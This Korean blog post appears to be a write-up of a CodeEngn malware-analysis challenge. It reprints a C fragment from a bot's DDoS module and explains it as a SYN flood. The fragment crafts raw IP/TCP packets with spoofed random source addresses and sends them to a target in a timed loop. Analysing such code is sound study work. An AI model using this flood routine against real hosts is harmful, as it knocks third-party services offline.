악성코드 분석 첫 번째 문제.
문제들을 보면 악성코드 소스의 일부분이라고 되어있다.
소스 코드의 일부분이므로 실행되지 못할 것이기 때문에, 로컬에서 압축을 풀고 코드를 볼 수 있다.
# LAYER 2
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(TargetPort);
addr_in.sin_addr.s_addr=TargetIP;
# IP HEADER
ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.destIP=TargetIP;
# TCP HEADER
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384);
tcpHeader.th_urp=0;
tcpHeader.th_ack=0;
lTimerCount=GetTickCount();
while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
i++;
tcpHeader.th_sum=0;
tcpHeader.th_dport=htons(TargetPort);
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);
tcpHeader.th_sport=htons((rand()%1001)+1000);
tcpHeader.th_seq=htons((rand()<<16)|rand());
psdHeader.saddr=ipHeader.sourceIP;
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
if(rect==SOCKET_ERROR) return false;
if((GetTickCount()-lTimerCount)/1000>len) break;
if(bRandPort) { TargetPort=brandom(1000, 10000); }
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);
Sleep(delay);
}
xClose(sock);
문제 코드는 위와 같다.
중요하게 본 것은 대략 다음과 같다.
1. SrcAddress, DestAddress
2. 보내는 패킷의 양
코드의 흐름은 그냥 각 layer마다 패킷의 내용을 채워주고서 socket으로 보내주는 것이다.
중간에 while 문이 사용되었다.
while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
정확히 무슨 값인지는 모르겠지만 DDOS라는 문자가 보이고, 한 번만 실행되는 것은 아닌 것처럼 보인다.
즉, 많은 양의 패킷을 보낸다는 것을 알 수 있다.
그런데, 목적지 주소는 하나로 고정되어있다.
Target이라는 단어가 쓰였다. 공격하고자 하는 목표에게로 많은 양의 패킷을 보낼 것 같다.
출발지 주소에 대해서는 아래 코드의 내용들이 있다.
SpoofIP라고 되어있는데, Spoof는 속인다는 뜻이다.
즉, source ip주소는 조작된 주소가 보내질 것이다.
이에 관해 아래와 같은 코드가 while 문 안에 있다.
아까 위에서는 lSpoofIP이고 바로 위에서는 szSpoofIP로 변수 이름은 다르다.
하지만 추측하기로는 szSpoofIP로 정해진 랜덤 주소가 lSpoofIP로 될 것 같다.
이 문제는 소스코드의 일부분만을 보여주므로 이러한 부분은 생략되어 있는 것 같다.
결론
출발지 주소를 속여가며 목적지 주소에 대량의 패킷을 보낸다.
즉 Syn Flooding 공격을 의심할 수 있다.
주의할 점:
'Malware Analysis' 카테고리의 다른 글
[CodeEngn] Malware Analysis L06 (0) | 2023.08.06 |
---|---|
[CodeEngn] Malware Analysis L05 (0) | 2023.08.06 |
[CodeEngn] Malware Analysis L04 (0) | 2023.08.06 |
[CodeEngn] Malware Analysis L03 (0) | 2023.08.06 |
[CodeEngn] Malware Analysis L02 (0) | 2023.08.06 |